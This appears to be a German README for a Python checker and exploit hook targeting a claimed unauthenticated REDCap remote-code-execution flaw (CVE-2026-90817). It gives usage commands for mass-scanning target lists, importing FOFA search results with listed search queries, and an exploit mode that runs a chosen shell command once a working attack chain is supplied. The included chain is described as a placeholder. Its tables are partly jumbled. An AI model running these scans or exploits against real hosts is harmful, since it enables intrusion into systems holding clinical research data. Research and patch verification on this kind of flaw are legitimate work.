
Python-Checker und Exploit-Hook für CVE-2026-90817, eine kritische unauthentifizierte REDCap-RCE über Survey-__passthru-Routing, mit Massenscanning und FOFA-Zielimport.
Python-3-Checker (und konfigurierbarer Exploit-Hook) für CVE-2026-90817 (Securifera / Ryan Wincey).
| Produkt | REDCap (Vanderbilt) |
| Betroffen | ≥ 13.3.0 (bis Branch-Patch) |
| Behoben | 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard+ |
| CVSS 3.1 | 9.8 Kritisch |
| Auth | Keine — gültiger öffentlicher Survey-Hash (s=) für vollständige Kette erforderlich |
| CWE | CWE-73, CWE-94 |
Aus dem Kontext einer öffentlichen Umfrage können Angreifer das Routing über __passthru (Survey-Passthrough) missbrauchen, um unerwünschte Controller zu erreichen (z. B. Data Import), und dann unsichere Dateipfad-/Stream-Verarbeitung auslösen → RCE.
Securifera hat die vollständige HTTP-Kette noch nicht veröffentlicht (kein öffentlicher PoC auf GitHub / Exploit-DB zum Zeitpunkt der Repo-Veröffentlichung).
| Modus | Was er tut |
|---|
exploit_chain.example.json ist nur ein Platzhalter (geratene Routen/Parameter). Es wird kein RCE auslösen.
Forschungs-Trockenlauf: --allow-placeholder-chain (sendet Anfragen; Fehler zu erwarten).
pip install -r requirements.txtpip install -r requirements.txt
# Single target (survey hash required for survey + passthru tests)
python poc.py -u https://redcap.example.edu/redcap --hash Ab12Xy34Zq --mode check
# Shorthand: base|hash
python poc.py -u "https://redcap.example.edu/redcap|Ab12Xy34Zq" --mode check
# Mass check (one URL per line, optional |hash)
python poc.py --list targets.example.txt --mode check -j 20 -q
# Live stream: every host + test summary (recommended for long lists)
python poc.py --list targets.example.txt --mode check -j 20 -q --flow
# Exploit (after advisory → real exploit_chain.json)
cp exploit_chain.example.json exploit_chain.json # edit with real values
python poc.py -u https://redcap.example.edu/redcap --hash XXX --mode exploit -c id \
--chain exploit_chain.json
# Place export as fofa_csv_7561.csv (or any fofa*.csv), then:
python fofa_to_list.py
# Writes list.txt (gitignored) and normalizes the CSV with a url column
python poc.py --list list.txt --mode check -j 20 -q --flow
https://uni.edu/redcap|SurveyHash10
https://uni.edu/redcap?s=SurveyHash10
https://uni.edu/redcap
Ohne Hash kann die Prüfung REDCap weiterhin fingerprinten und Versionsfenster markieren, aber die Umfrage nicht validieren oder Passthru-Probes ausführen.
--flow Massenprüfung)
| Datei | Inhalt |
|---|---|
cve_2026_90817_results.jsonl | JSON pro Ziel |
hits.txt | Kandidaten (exploitable_candidate) |
status-Werte (Check)__passthru-Route und Parameternamen von Securifera/Hersteller; Standardwerte sind Platzhalter.vulnerable_version kann null sein.title="REDCap" enthalten oft keine Survey-Hashes — CVE-Voraussetzungen benötigen s= aus öffentlichen Links.title="REDCap"
body="redcap_version"
body="/surveys/?s="
.
├── poc.py
├── fofa_to_list.py
├── exploit_chain.example.json
├── poc.png # example --flow terminal output
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Nur für autorisiertes Sicherheitstesten. Sie sind für die Einhaltung der geltenden Gesetze und Programmregeln verantwortlich.
check | REDCap-Fingerprinting, Versions-Heuristiken, gültige s=-Umfrage (falls Hash angegeben), __passthru → DataImport-Probes |
exploit | Läuft nur mit einer verifizierten exploit_chain.json (nicht dem Platzhalter-Beispiel) |
| Option | Beschreibung |
|---|
-u, --url | Einzelne Basis-URL (oder URL|hash) |
--hash | Öffentlicher Survey-Hash (s=-Wert) |
--list | Zieldatei (eine URL oder URL|hash pro Zeile) |
--mode | check oder exploit |
--chain | JSON-Kette für den Exploit-Modus (Standard exploit_chain.json) |
--allow-placeholder-chain | Beispiel-JSON im Exploit-Modus erlauben (kein echtes RCE) |
-c, --command | Shell-Befehl (Exploit-Modus; funktionierende Kette erforderlich) |
--threads, -j | Massenparallelität (Standard 15) |
--timeout | HTTP-Timeout in Sekunden (Standard 25) |
--proxy | HTTP(S)-Proxy-URL |
--output | JSONL-Ergebnisse (Standard cve_2026_90817_results.jsonl) |
--vuln-list | Check → hits.txt; Exploit → exploited.txt |
--quiet, -q | Periodische Fortschrittsanzeigen unterdrücken |
--flow, -f | Eine Zeile pro abgeschlossenem Ziel (Site + Testzusammenfassung) |
| Status | Bedeutung |
|---|
passthru_dataimport_reachable | Gültige Umfrage + Passthru-Route sieht wie Data Import aus |
passthru_probe_reachable | Passthru gab nicht blockiertes HTTP zurück |
likely_vulnerable_version | Version im betroffenen Fenster (Umfrage OK, Probes nicht eindeutig) |
redcap_version_hot_no_hash | Betroffene Versions-Heuristiken, kein Survey-Hash angegeben |
redcap_no_survey_hash | REDCap OK, kein Hash, Version unbekannt |
patched / patched_no_survey | Auf oder über der behobenen Version für den Branch |
no_valid_survey | Hash ungültig oder Umfrage nicht öffentlich |
no_redcap | Host sieht nicht wie REDCap aus |
survey_ok_version_unknown | Umfrage OK, Versionsstring nicht gefunden |